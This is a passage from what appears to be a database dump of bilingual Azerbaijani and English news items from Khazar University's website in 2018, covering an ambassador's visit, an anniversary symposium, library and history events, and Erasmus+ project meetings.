dəvəti ilə universitetin qonağı oldu. Cənab səfir assistenti Sevil Qəhrəmanovanın müşayiətilə Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlı, Xəzər Universitetinin rektoru Dr. Hassan Niknafs və Siyasi elm və beynəlxalq münasibətlər departamentinin koordinatoru Elmar Mustafayevlə görüşdü.</p><p>Görüşdə Xəzər Universitetinin tarixi, ixtisaslar, tədqiqat imkanları və universitetinin beynəlxalq əlaqələri haqqında məlumat verildi. Eyni zamanda, tələbə və kadr mübadiləsi üzrə qarşılıqlı əməkdaşlıq imkanları, Xəzər Universiteti ilə Belçika ali təhsil müəssisələri arasında ikitərəfli proqramların hazırlanması və birgə tədqiqatların aparılması müzakirə olundu.</p><p>Öz növbəsində, cənab Schoofs Belçika ali təhsil müəssisələri ilə Xəzər Universiteti arasındakı münasibətlərin qurulmasında məmnuniyyətlə iştirak etməyə hazır olduğunu bildirdi. Səfir Siyasi elm və beynəlxalq münasibətlər departamentinin tələbələri üçün xüsusi seminar təqdim etmək üçün edilən dəvəti müsbət qiymətləndirdi.</p>'),(5398,3119,'en','Belgium’s Ambassador visits Khazar University','On April 19, 2018, Mr H. E. Bert Schoofs, Extraordinary and Plenipotentiary Ambassador...','<p>On April 19, 2018, H. E. Mr.&nbsp;Bert Schoofs, Extraordinary and Plenipotentiary Ambassador of the Kingdom of Belgium paid a visit to Khazar University on the invitation of the Department of Political Science and International Relations. Accompanied by Sevil Gahramanova, Ambassador’s assistant, H.E.  Mr.&nbsp; Bert Schoofs met with Prof. Hamlet Isakhanli, the founder of Khazar University, and Chairman of its Board of Directors and Trustees, Dr. Hassan Niknafs, Rector of Khazar University, and Elmar Mustafayev, Coordinator of the Department of Political Science and International Relations.</p><p>During the meeting, the Ambassador was informed on the historical background of the University as well as education and research&nbsp;opportunities&nbsp;and international relations of the University. Moreover, meeting participants discussed opportunities for student and teacher exchange, cooperation as well as bilateral programs and research activities with universities of Belgium.</p><p>H.E.  Mr.&nbsp;Bert Schoofs expressed his eagerness to support the collaboration between Khazar University and the universities of Belgium. In addition, Ambassador was happy with the invitation for conducting a special seminar for the students of the Department of Political Science and International Relations.</p>'),(5399,3120,'az','Professor Hamlet İsaxanlının yubileyinə həsr olunmuş “Xəzər”in sorağında” adlı ədəbi-bədii tədbir keçirildi','2018-ci il aprelin 20-də Xəzər Universitetinin Mərkəz kampusundakı “Dünya” konsert...','<p>2018-ci il aprelin 20-də Xəzər Universitetinin Mərkəz kampusundakı “Dünya” konsert salonunda universitetin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlının yubileyinə həsr olunmuş “Xəzər”in sorağında” adlı ədəbi-bədii tədbir keçirildi.</p><p>Tədbirdə universitetin rəhbərliyi və əməkdaları, tələbələr, həmin gün Xəzər Universitetində açılışı olmuş “Qloballaşan təhsil” adlı beynəlxalq simpoziuma gəlmiş yerli və xarici mütəxəssislər iştirak edirdilər.</p><p>İştirakçılara AzTV-nin əməkdaşı Faizə Mehdiyevanın rejissorluğu ilə hazırlanmış Aparıcı – Film-monoloq – Səhnə tamaşası – Musiqi komponentlərindən ibarət çoxplanlı və maraqlı ədəbi-bədii kompozisiya təqdim olundu. Aparıcı İctimai TV-nin aparıcısı Məhəmməd Əli idi.</p><p>Kompozisiya Hamlet İsaxanlının həyatı haqqında qısa məlumatla başlayaraq, əsasən onun Xəzər Universitetini qurmaq yolunda respublikanın Nazirlər Kabineti ilə apardığı gərgin danışıqları və bunun Baş nazir Həsən Həsənovun universitetin təsisinə icazə verən tarixi imzası ilə sona çatdığını əks etdirirdi. Tamaşada rolları Xəzər Universitetinin əməkdaşları Mail Yaqub (Həsən Həsənov) və Qoşqar Məhərrəmov (iqtisad elmləri doktoru Saleh Məmmədov), Azərbaycan Dövlət Gənc Tamaşaçılar Teatrının aktyoru Təbriz Əmrahlı (Nazirlər Kabineti nəzdində İqtisadiyyatın İdarə Edilməsi İnstitutunun rektoru Rəhim Rəhimov) və aktyor Nicat Əli (Hamlet İsaxanlı) ifa edirdilər.</p><p>Hamlet İsaxanlının sözlərinə yazılmış mahnıları Xəzər Universitetinin Musiqi və incəsənət departamentinin müdiri, əməkdar müəllim Zülfiyyə Sadıqovanın pianoda müşayiəti ilə Müslüm Maqomayev adına Azərbaycan Dövlət Akademik Filarmoniyasının solisti, Xəzər Universitetinin müəllimi Məhsəti Cabbarova (“Yadındamı”, bəstəkar Cavanşir Quliyev) və M. F. Axundov adına Azərbaycan Dövlət Akademik Opera və Balet Teatrının solisti, əməkdar artist Fərid Əliyev (“Qədim sual”, bəstəkar Dilarə Qulamova), Xəzər Universitetinin himnini isə həmin müşayiətlə universitetin tələbələrindən ibarət xor kollektivi ifa etdilər.</p><p>Sonda səhnəyə dəvət olunan Hamlet İsaxanlını iştirakçılar alqışlarla qarşılayıb, yubileyi münasibətilə təbrik etdilər. H. İsaxanlı ədəbi-bədii tədbiri hazırlayanlara və iştirakçılara təşəkkürünü bildirdi.</p>'),(5400,3121,'az','Xəzər Universitetində “Qloballaşan təhsil” adlı beynəlxalq simpozium keçirildi','2018-ci il aprelin 20-21-də Xəzər Universitetində universitetin təsisçisi, Direktorlar və Qəyyumlar Şurasının...','<p>2018-ci il aprelin 20-21-də Xəzər Universitetində universitetin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlının yubileyinə həsr olunan “Qloballaşan təhsil” adlı beynəlxalq simpozium keçirildi.</p><p>Sinpoziumda Azərbaycan (Xəzər Universiteti, ADA Universiteti, Azərbaycan Respublikası Təhsil İnstitutu, ADİU, ADPU, ADU, ATU, ADMİU, BSU,BMU, Gəncə Dövlət Universiteti, Mingəçevir şəhərindəki 7 saylı məktəb, Bakı şəhərindəki 126 saylı tam orta məktəb), Türkiyə (Çankaya&nbsp;Universiteti, Eskişehir Osmanqazi Universiteti, Qazi Universiteti, “Khan Academy”), Macarıstan (Debrecen Universiteti), Finlandiya (İyvaskyla universiteti), Albaniya (New York Tirana Universiteti)&nbsp;və&nbsp; Avstriyadan&nbsp;(Vyana&nbsp;Tətbiqi Elmlər Universiteti) olan alim və mütəxəssislər iştirak edirdilər.</p><p>Konfransdan əvvəl iştirakçılara Xəzər Universiteti Kamera orkestrinin ifasında qısa musiqi proqramı təqdim olundu.</p><p>Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlı konfransı açaraq, iştirakçıları salamladı, konfransın əhəmiyyətindən danışdı və işinə uğurlar arzuladı.</p><p>New York Tirana Universitetinin rektoru professor Fatoş&nbsp;Tarifa, Çankaya&nbsp;Universitetinin professoru Buket Akkoyunlu və digərləri də çıxış edərək, konfrasın Bakıda, yaxşı tanıdıqları Xəzər Universitetində keçirilməsindən məmnunluq duyduqlarını bildirdilər.</p><p>Açılış mərasimindən sonra və aprelin 21-də simpozium işini səkkiz bölmədə davam etdirdi. Bölmələrə ADİU-dan professor Zahid Məmmədov, Natiq Hacıyev, ADPU-dan Bilal Həsənov, Oktay Alxasov, Xəzər Universitetindən Lyudmila Sotova, Mələk Kərimova və Debrecen Universitetindən Peter Forisek sədrlik edirdilər. Bölmələrdə 40-dan artıq məruzə dinlənilərək, müzakirələr aparıldı və suallar cavablandırıldı.</p><p>Aprelin 21-də bağlanış mərasimində bölmələrin sədrləri və həmsədrlərindən Ayhan Aydın (Eskişehir Osmanqazi Universiteti), Bilal Həsənov və Məlahət Abdullayeva (ADPU), Ülkər Bayramova və Mələk Kərimova (Xəzər Universiteti) və Peter Forişek (Debrecen Universiteti) məlumat verərək, dinlənilmiş məruzələrin elmi səviyyəsinin əsasən yüksək olduğunu və fəal müzakirələr aparıldığını bildirdilər.</p><p>Bağlanış mərasimində Xəzər Universitetinin Tədris işləri üzrə prorektoru professor Məhəmməd Nuriyev çıxış edərək, konfransın işini yekunlaşdırdı və simpoziumun hazırlanıb keçirilməsində əməyi olanlara və iştirakçılara minnətdarlığını bildirdi.</p><p>New York Tirana Universitetinin rektoru professor Fatoş&nbsp;Tarifa simpoziumun yüksək səviyyədə təşkil olunduğuna görə Xəzər universitetinin rəhbərliyinə təşəkkür etdi.</p><p>Simpozium iştirakçılarına sertifikat təqdim olundu.</p><p>Xarici iştirakçılar üçün Bakı ətrafına ekskursiya təşkil edildi.</p>'),(5401,3122,'az','“Xəzər”in məzunu Azərbaycan Banklar Assosiasiyasının Rəyasət Heyətində','Xəzər Universiteti İqtisadiyyat və menecment fakültəsinin məzunu, Ticarətin...','<p>Xəzər Universiteti İqtisadiyyat və menecment fakültəsinin məzunu, Ticarətin və layihələrin maliyyələşdirilməsi üzrə” yeni Ekspert Qrupunun yaradılması zərurəti və Qrupa sədr qismində Azərbaycan Beynəlxalq Bankı ASC-nin Korporativ biznes departamentinin direktoru Yasin Cəlilovun namizdəliyinin Azərbaycan Banklar Assosiasiyasının (ABA) Rəyasət Heyətinə təklif edilməsi qərara alınmışdır.</p><p>Bu haqda daha geniş məlumatı bu linklər vasitəsilə əldə etmək olar:</p><p><a href=\"http://azxeber.com/az/aba-nezdinde-yeni-ekspert-qrupunun-yaradilmasi-uzre-iclas-kecirilib/\" style=\"text-indent:0.25in\">http://azxeber.com/az/aba-nezdinde-yeni-ekspert-qrupunun-yaradilmasi-uzre-iclas-kecirilib/</a></p><p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\"><a href=\"http://qafqazinfo.az/news/detail/aba-nezdinde-yeni-ekspert-qrupunun-yaradilmasi-uzre-iclas-kecirilib-216839\">http://qafqazinfo.az/news/detail/aba-nezdinde-yeni-ekspert-qrupunun-yaradilmasi-uzre-iclas-kecirilib-216839</a></p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\"><a href=\"http://www.marja.az/news/23556\">http://www.marja.az/news/23556</a></p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\"><a href=\"http://fed.az/az/news/read/38604;\">http://fed.az/az/news/read/38604</a></p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\"><a href=\"http://anews.az/az/abb-nin-departament-rehberi-ekspert-qurupuna-rehberlik-edecek/\">http://anews.az/az/abb-nin-departament-rehberi-ekspert-qurupuna-rehberlik-edecek/</a></p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\"><a href=\"https://apa.az/iqtisadiyyat-xeberleri/maliyye_xeberleri/aba-nezninde-yeni-ekspert-qrupunun-yaradilmasi-uzre-iclas-kecirilib-3403.html\">https://apa.az/iqtisadiyyat-xeberleri/maliyye_xeberleri/aba-nezninde-yeni-ekspert-qrupunun-yaradilmasi-uzre-iclas-kecirilib-3403.html</a>&nbsp;</p><p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\"><a href=\"http://www.xebersaati.com/news/220406-abb-nin-departament-rehberi-yeni-ekspert-qrupuna-rehberlik-edecek/\">http://www.xebersaati.com/news/220406-abb-nin-departament-rehberi-yeni-ekspert-qrupuna-rehberlik-edecek/</a></p>'),(5402,3122,'en','Khazar University graduate at the Presidium of the Azerbaijan Banks Association','Based on the need for the establishment of a new Expert Group on Trade...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:center;text-indent:.25in\"\"=\"\">Based on the\r\nneed for the establishment of a new Expert Group on Trade and Project\r\nFinancing, it was decided to offer Yasin Jalilov’s, Director of the Department of\r\nCorporate Business of International Bank of Azerbaijan OJSC, candidacy for\r\nChairmanship of the Group to the Presidium of the Azerbaijan Banks Association\r\n(ABA). Yasin Jalilov is a graduate of Khazar University, the School of Economy\r\nand Management.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">&nbsp;More information is available through the\r\nfollowing links:</p><p style=\"background:undefined \"><a href=\"http://azxeber.com/az/aba-nezdinde-yeni-ekspert-qrupunun-yaradilmasi-uzre-iclas-kecirilib/\" style=\"text-indent:0.25in\">http://azxeber.com/az/aba-nezdinde-yeni-ekspert-qrupunun-yaradilmasi-uzre-iclas-kecirilib/</a></p><p margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\" style=\"background-image: url(&quot;../images/outline-p.png&quot;);\"><a href=\"http://qafqazinfo.az/news/detail/aba-nezdinde-yeni-ekspert-qrupunun-yaradilmasi-uzre-iclas-kecirilib-216839\">http://qafqazinfo.az/news/detail/aba-nezdinde-yeni-ekspert-qrupunun-yaradilmasi-uzre-iclas-kecirilib-216839</a></p><p margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\" style=\"background-image: url(&quot;../images/outline-p.png&quot;);\"><a href=\"http://www.marja.az/news/23556\">http://www.marja.az/news/23556</a></p><p margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\" style=\"background-image: url(&quot;../images/outline-p.png&quot;);\"><a href=\"http://fed.az/az/news/read/38604;\">http://fed.az/az/news/read/38604</a></p><p margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\" style=\"background-image: url(&quot;../images/outline-p.png&quot;);\"><a href=\"http://anews.az/az/abb-nin-departament-rehberi-ekspert-qurupuna-rehberlik-edecek/\">http://anews.az/az/abb-nin-departament-rehberi-ekspert-qurupuna-rehberlik-edecek/</a></p><p margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\" style=\"background-image: url(&quot;../images/outline-p.png&quot;);\"><a href=\"https://apa.az/iqtisadiyyat-xeberleri/maliyye_xeberleri/aba-nezninde-yeni-ekspert-qrupunun-yaradilmasi-uzre-iclas-kecirilib-3403.html\">https://apa.az/iqtisadiyyat-xeberleri/maliyye_xeberleri/aba-nezninde-yeni-ekspert-qrupunun-yaradilmasi-uzre-iclas-kecirilib-3403.html</a>&nbsp;</p><p margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\" style=\"background-image: url(&quot;../images/outline-p.png&quot;);\"><a href=\"http://www.xebersaati.com/news/220406-abb-nin-departament-rehberi-yeni-ekspert-qrupuna-rehberlik-edecek/\">http://www.xebersaati.com/news/220406-abb-nin-departament-rehberi-yeni-ekspert-qrupuna-rehberlik-edecek/</a></p>'),(5403,3123,'az','Belçikanın Azərbaycandakı səfiri Xəzər Universitetində seminar keçəcək','2018-ci il mayın 8-i 10:20-də Avropa günü ilə əlaqədar Belçikanın...','<p>2018-ci il mayın 8-i 10:20-də Avropa günü ilə əlaqədar Belçikanın Azərbaycandakı səfiri cənab Bert Schoofs Xəzər Universiteti Siyasi elm və beynəlxalq münasibətlər departamentində “Belçikanın federativ dövlət quruluşu və onun Avropa İttifaqında rolu” mövzusunda seminar keçəcək. Seminar Xəzər Universitetinin “Neftçilər” kampusu konfrans zalında (102N) baş tutacaq.</p><p>Maraqlanan hər kəs seminarda iştirak edə bilər.</p>'),(5404,3123,'en','Ambassador of Belgium to Azerbaijan to hold a seminar at Khazar University','On the occasion of Europe Day, Political Science and International Relations...','<p>On the occasion of Europe Day, Political Science and International Relations Department invites you to a discussion on “Belgium’s multi-layered structure of governance and its role in the EU” with H.E. Bert Schoofs, the Ambassador of Belgium to Azerbaijan.</p><p>The event is open to the public.</p><p><strong>Date</strong>: 8 May 2018, 10:20</p><p><strong>Venue</strong>: Conference hall (Room 102N) at Neftchilar Campus of Khazar University.</p>'),(5405,3120,'en','A ceremony “In search of Khazar” dedicated to Prof. Hamlet Isakhanli','On April 20, 2018, a literary-artistic ceremony “In search of Khazar” dedicated...','<p>On April 20, 2018, a literary-artistic ceremony “In search of Khazar” dedicated to Prof. Hamlet Isakhanli\'s, the founder of Khazar University, and Chairman of its Board of Directors and Trustees, anniversary was held in “Dunya” concert hall of the University.</p><p>University administration and students as well as participants of the symposium on “Global Education”, which was held at the University on the same day, participated in the ceremony.</p><p>A multifaceted and interesting composition consisted of a Presenter – Movie-monologue – Stage play – Pieces of Music, which was directed by Faiza Mehdiyeva, a staff member of AzTV channel, was demonstrated. The presenter of the ceremony was Mahammad Ali, a staff member of “Ictimai” Television.</p><p>The composition started with Hamlet Isakhanli’s short biography. The composition mainly dealt with intense negotiations between Hamlet Isakhanli and Cabinet of Ministers for the establishment of Khazar University, and ended with historical signature by Hasan Hasanov, Prime Minister, which approved permission for the establishment of the University. The roles of the play were performed by Mail Yagub (Hasan Hasanov) and Goshgar Maharramov (Saleh Mammadov, PhD in Economics), Tabriz Amrahli, an actor of Azerbaijan State Theater of Young Spectators (Rahim Rahimov, Rector of Institute of Economic Management affiliated with Cabinet of Ministers) and Nijat Ali, actor (Hamlet Isakhanli).</p><p>Mashati Jabbarova, instructor of Khazar University and soloist of the Azerbaijan State Academic Philharmonic Hall named after Muslim Magomayev, performed a piece of music (“Do you remember”, composer Javanshir Guliyev) with lyrics by Hamlet Isakhanli, accompanied by Zulfiyya Sadigova, Head of Department of Music and Art of Khazar University. M.F.Akhundov, soloist of Azerbaijan State Academic Opera and Ballet Theater, also performed a piece of music (“Ancient question”, composer Dilara Gulamova), with lyrics by Hamlet Isakhanli, with the same accompaniment. Moreover, a choral team consisting of students performed anthem of Khazar University with the same accompaniment.</p><p>At the end of the ceremony, Hamlet Isakhanli went on the stage under the applause of the audience. He warmly accepted birthday congratulations and expressed his gratitude for the ceremony.</p>'),(5406,3121,'en','“Global Education” symposium at Khazar University','On April 20-21, 2018, international symposium on “Global Education”, dedicated to...','<p>On April 20-21, international symposium on “Global Education”, dedicated to Prof. Hamlet Isakhanli’s, the founder of Khazar University, and Chairman of its Board of Directors and Trustees, anniversary was held at Khazar University.</p><p>Scientists and experts from Azerbaijan (Azerbaijan State University of Economics, Azerbaijan State Pedagogical University, Azerbaijan University of Languages, Azerbaijan State University of Culture and Arts, Baku Slavic University, Baku Engineering University, Ganja State University, secondary school number 7 of Mingachevir city and secondary school number 126 of Baku city) as well as Turkey (Çankaya&nbsp;University, Eskişehir Osmangazi University, Gazi University, \"Khan Academy\"), Hungary (Debrecen University), Finland (İyvaskyla University), Albania (New York University of Tirana) and&nbsp;Austria (Vienna University of Applied Sciences)&nbsp;participated in the symposium.</p><p>Before the opening of the conference, Khazar University Camera Orchestra performed a short program of pieces of music.</p><p>Prof. Hamlet Isakhanli, the founder of Khazar University, and Chairman of its Board of Directors and Trustees, opened the conference and greeted the participants. Moreover, he stressed the importance of the conference and wished conference success.</p><p>Prof. Fatos Tarifa, Rector of the University of New York Tirana (Albania), and Prof. Buket Akkoyunlu from Çankaya University (Turkey), delivered speeches expressing their delight for the organization of the conference at Khazar University, Baku.</p><p>Symposium took place in eight workshops. More than 40 reports were delivered at workshops which were followed by discussions and questions. Moderators of plenary sessions were Prof. Zahid Mammadov, Natiq Hajiyev from UNEC, Bilal Hasanov, Oktay Alkhasov from ASUP, Lyudmila Sotova, Malak Karimova From Khazar University and Peter Forisek from Debrecen University. On April 21, at the closing ceremony, Ayhan Aydin (Eskişehir Osmangazi University), Bilal Hasanov and Malahat Abdullayeva (Azerbaijan State Pedagogical University), Ulkar Bayramova and Melek Karimova (Khazar University) and Peter Forishek (Debrecen University) delivered reports on workshops mentioning the quality of reports and active engagement of participants.</p><p>In the closing ceremony, Prof. Mahammad Nuriyev, Vice-rector for Education of Khazar University, delivered a final speech and expressed his gratitude for the organization of the symposium.</p><p>Prof. Fatos Tarifa, Rector of the University of New York Tirana, also expressed his special thanks for the symposium.</p><p>Symposium participants were presented with certificates. Foreign participants went on an excursion around Baku city.</p>'),(5409,3125,'az','“Turan” İA “The Same” komandası haqqında xəbər yaydı','2018-ci il aprelin 17-də “Turan” İnformasiya Agentliyi Xəzər Universitetində...','<p>2018-ci il aprelin 17-də “Turan” İnformasiya Agentliyi Xəzər Universitetində “The Same” komandasının keçirdiyi “Launch Event”-lə bağlı xəbər yayımlamışdır. “The Same” komandası irqçiliklə mübarizə aparmaq və ona səssiz qalmamaq məqsədilə İqtisadiyyat və menecment fakültəsinin tələbələrinin təşəbbüsü ilə yaradılmışdır və “Edventure Partners (EVP)”   şirkətinin idarəçiliyi ilə “Peer to Peer: Facebook Global Digital Challenge”  Beynəlxalq yarışında bu il ölkəmizi yeganə təmsil edən komandadır.</p><p>Bu haqda daha geniş məlumatı bu link vasitəsilə əldə etmək olar:</p><p><a href=\"http://www.contact.az/ext/news/2018/4/free/Social/az/70650.htm\">http://www.contact.az/ext/news/2018/4/free/Social/az/70650.htm</a><br></p>'),(5407,3124,'az','Azərbaycan tarixi dərsi Milli Azərbaycan Tarixi Muzeyində keçirildi','2018-ci il aprelin 23-də Xəzər Universiteti Tarix və arxeologiya departamentinin müəllimi...','<p>2018-ci il aprelin 23-də Xəzər Universiteti Tarix və arxeologiya departamentinin müəllimi Səbuhi Əhmədov Təhsil fakültəsinin tələbələri ilə növbəti “Azərbaycan tarixi” dərsini Milli Azərbaycan Tarixi Muzeyində keçirdi. Tələbələr “Azərbaycan Şirvanşahlar dövləti” ilə tanış oldular. Onlara dövlətin Azərbaycan tarixində tutduğu yer, oynadığı rol haqqında ətraflı məlumat verildi, dövlətlə bağlı eksponatlar nümayiş etdirildi. Daha sonra universitetin tələbəsi Zöhrə Xəlilova Azərbaycanın görkəmli sənayeçi və xeyriyyəçisi Hacı Zeynalabdin Tağıyevə həsr olunmuş prezentasiya ilə çıxış etdi.</p><p>Dərsin sonunda Səbuhi Əhmədov tələbələrin suallarını cavablandırdı.</p>'),(5408,3124,'en','“Azerbaijani History” lesson held at Azerbaijan National History Museum','On April 23, 2018, Sabuhi Ahmadov, instructor of the Department of History...','<p>On April 23, 2018, Sabuhi Ahmadov, instructor of the Department of History and Archeology of Khazar University, held “Azerbaijani History” lesson for students of the School of History at Azerbaijan National History Museum. Students became familiar with “Azerbaijan Shirvanshahs State”. Moreover, the students received detailed information on the role of the State in the history of Azerbaijan and saw the exhibition related to the State. Then, Zohra Khalilova, Khazar University student, made a presentation about Haji Zeynalabdin Taghiyev, the prominent industrialist and philanthropist of Azerbaijan.</p><p>At the end of the lesson Sabuhi Ahmadov answered the students’ questions.</p>'),(6088,3472,'az','PETRA layihəsi çərçivəsində növbəti görüş keçirildi','2018-ci il sentyabrın 27-də Xəzər Universiteti İnkişaf Mərkəzi “Azərbaycan Universitetlərində Tədris və Təlimin Təkmilləşdirilməsi...','<p>2018-ci il sentyabrın 27-də Xəzər Universiteti İnkişaf Mərkəzi “Azərbaycan Universitetlərində Tədris və Təlimin Təkmilləşdirilməsi” (PETRA) adlı ERASMUS+ layihəsi çərçivəsində Azərbaycandan olan tərəfdaş universitetlərin növbəti görüşünü keçirdi. Görüş zamanı indiyə qədər layihədə həyata keçirilmiş fəaliyyətlər və layihə qarşısında duran məsələlər, həmçinin universitetdə təlim və tədrisin keçirilməsi qaydalarının hazırlanması müzakirə edilmişdir. Layihənin təmsilçiləri Sumqayıt Dövlət Universiteti, Azərbaycan Dövlət Pedaqoji Universiteti, Bakı Slavyan Universiteti, Azərbaycan Dillər Universiteti və Azərbaycan Universiteti, Xəzər Universitetinin koordinatorluğu ilə, layihənin qarşıda duran məsələləri və noyabr ayında keçiriləcək təlimləri müzakirə etmişdir.</p>'),(5410,3125,'en','“Turan” posts news on “The Same”','On April 17, 2018, “Turan” Information Agency posted information on “Launch Event” organized...','<p>On April 17, 2018, “Turan” Information Agency posted information on “Launch Event” organized by “The Same” team which was established by the students of the School of Economy and Management on an initiative to struggle against racism. “The Same” is the only team which represents, with the support of “Edventure Partners (EVP)” company, Azerbaijan in “Peer to Peer: Facebook Global Digital Challenge”   international competition this year.</p>\r\n<p>More information is available through the following link:</p><p><a href=\"http://www.contact.az/ext/news/2018/4/free/Social/az/70650.htm\">http://www.contact.az/ext/news/2018/4/free/Social/az/70650.htm</a>  </p>'),(5411,3126,'az','KİM-in əməkdaşı ANKOSLink-2018 konfransında iştirak etdi','2018-cil il aprelin 17-dən 20-dək Xəzər Unversiteti Kitabxana-İnformasiya Mərkəzinin...','<p>2018-cil il aprelin 17-dən 20-dək Xəzər Unversiteti Kitabxana-İnformasiya Mərkəzinin direktor müavini Aytac Misgərli Antalyada keçirilən ANKOSLink-2018 konfransında iştirak etdi. ANKOS-Universitet kitabxanalarının e-resurslara rahat girişini təmin edən Kitabxana-İnformasiya Konsorsiumudur.</p><p>Konfransda 20 ölkədən 500-dən artıq nümayəndə iştirak etdirdi. ANKOSLink-in bu ilki mövzu başlığı “Araşdırmaya açılan qapı” –&nbsp;kitabxanalar idi. Bu konfransın məqsədi universitetlərin bir-birləri ilə hər keçən gün daha böyük rəqabətə girdikləri zamanda, araşdırmaçılar üçün kitabxanaçıların üstələyə bildiyi rolların müzakirəsi idi. Konfrans boyunca müxtəlif ölkələrin kitabxana nümayəndələri fikir mübadiləsi etdilər. Bütün konfrans boyu kitabxana sahəsində hazırda aktual olan mövzulara toxunuldu. Konfransda akademik kitabxanaların dəyişən rolları mövzusunda müzakirələr keçirildi. XXI əsrdə kitabxanaların öhdəlikləri, qarşıda duran problemləri müzakirə olundu.</p><p>Sonda Azərbaycan kitabxanaları ilə daha sıx əməkdaşlığın qurulması məqsədilə toplantı keçirildi.</p>'),(5412,3126,'en','Participation in ANKOSLink-2018 conference','On April 17-20, 2018, Aytaj Misgarli, Director of Library and Information Center...','<p>On April 17-20, 2018, Aytaj Misgarli, Director of Library and Information Center of Khazar University, participated in ANKOSLink - 2018 conference held in Antalya. ANKOS is a Library and Information Consortium providing University libraries with e-resources.</p><p>More than 500 participants from 20 countries took part in the conference. The topic of the conference for this year was “Library – a door to research”. The aim of the conference was to discuss the importance of the libraries for researches during intense competition among universities. Librarians from various countries exchanged views throughout the conference and touched key topics regarding librarians. Moreover, participants discussed changing roles of academic libraries as well as commitments and challenges of libraries in XXI century.</p><p>At the end of the conference the participants held a meeting to discuss opportunities to build relations with libraries of Azerbaijan.</p>'),(6095,3475,'en','First meeting of University Academic Council in a new Academic year','On October 3, 2018, next meeting of Academic Council was held, chaired by Dr. Hassan Niknafs, Rector...','<p>On October 3, 2018, next meeting of Academic Council was held, chaired by Dr. Hassan Niknafs, Rector of the University. After an opening speech, Dr. Hassan Niknafs mentioned that the meeting of the Council was held for the first time in a new academic year and 4 new members of the Council had joined the meeting. The new members - Tatyana Zaytseva, Director of Library and Information Center; Shahin Isayev, Manager of Construction and Repair Affairs; Fakhranda Alimardanova, Vice-dean of the School of Engineering and Applied Sciences; Shahriyar Mukhtarov, Vice-dean of the School of Economics and Management, were introduced to the Council.</p><p>According to the agenda, Jabir Khalilov, Dean of the Humanities and Social Sciences; Jeyhun Mammadov, Dean of the School of Economics and Management; Elza Samadli, Dean of the School of Education; Fakhranda Alimardanova, Vice-dean of the School of Engineering and Applied Sciences, gave information about the graduates.</p><p>Dr. Eldar Shahgaldiyev, Head of the Division for Graduate Students and Research, gave information about thesis topics, approval of research advisers and changes in specialities of&nbsp;PhD students. Then PhD candidates provided full information about their thesis topics and answered questions given by the Council members. Jabir Khalilov, Dean of the School of Humanities and Social Sciences, provided information about the submission of textbooks and education programs for publication. Moreover, Zivar Huseynli-Baylan, Coordinator of the Department of Languages and Cultures, and Melek Karimova, Coordinator of the Department of Psychology, informed the Council members about the textbooks to be published.</p><p>Upon making relevant decisions on issues indicated on the agenda, the members also discussed the current issues. Dr. Hassan Niknafs noted that there were drawbacks in internal discipline, recruitment of new staff by the departments, and posting syllabi and CVs on the website on time, and stressed that those drawbacks should be eliminated immediately. He also added that, in comparison with 2016-2017 academic year, the University associates have gained more achievements in 2017-2018 academic year, and three times more research papers have been published.</p>'),(6086,3471,'en','Training within Erasmus+ PAWER project','On October 1, 2018, on an organizational support of Center for Development at Khazar University, a training...','<p>On October 1, 2018, on an organizational support of Center for Development at Khazar University, a training on “Credit recognition procedure” was held within Erasmus+ PAWER project.</p><p>The training was attended by associates of various Schools who shared their suggestions and criticism.</p>'),(6087,3471,'az','Erasmus+ PAWER layihəsi çərçicvəsində təlimlər','2018-ci il oktyabrın 1-də Xəzər Universiteti İnkişaf Mərkəzinin təşkilatçılığı ilə Erasmus+ PAWER...','<p>2018-ci il oktyabrın 1-də Xəzər Universiteti İnkişaf Mərkəzinin təşkilatçılığı ilə Erasmus+ PAWER layihəsi çərçivəsində universitet departamentlərinin əməkdaşları üçün “Kreditlərin tanınması proseduru” adlı təlim davam etdi.</p><p>Bu tədbirə Xəzər Universitetinin müxtəlif fakültələrindən əməkdaşlar qatılaraq, öz təklif və iradlarını bildirdilər.</p>'),(5603,3224,'az','Tələbələr Azərbaycan Xalq Cümhuriyyəti ilə bağlı təqdimatlar etdilər','2018-ci il mayın 14-də Xəzər Universiteti Təhsil fakültəsi tələbələri...','<p>2018-ci il&nbsp;mayın 14-də Xəzər Universiteti Təhsil fakültəsi tələbələri ilə Tarix və arxeologiya departamentinin müəllimi t.ü.f.d. Səbuhi Əhmədov tərəfindən aparılan “Azərbaycan tarixi” dərsində Azərbaycan Xalq Cümhuriyyətinin yaradılmasının Azərbaycan xalqının taleyi üçün əhəmiyyəti, onun Azərbaycan tarixində oynadığı rol, nailiyyətləri, buraxılan səhvlər haqqında ətraflı məlumat verildi. Qrupun tələbələri Azərbaycan Xalq Cümhuriyyəti tarixinin ən vacib səhifələri ilə bağlı təqdimatlar&nbsp;hazırlanmışdılar. Tələbə Fatimə Abbaszadə “Azərbaycan Cümhuriyyəti dövründə Azərbaycan dili məsələsi”, Şəhla Quliyeva “Məhəmməd Əmin Rəsulzadə”, Fərqanə Ələsgərli “İstiqlal Bəyanaməsi və AXC-nın yaranması”, Nərgiz Nəsirova “AXC dövründə milli-mədəni 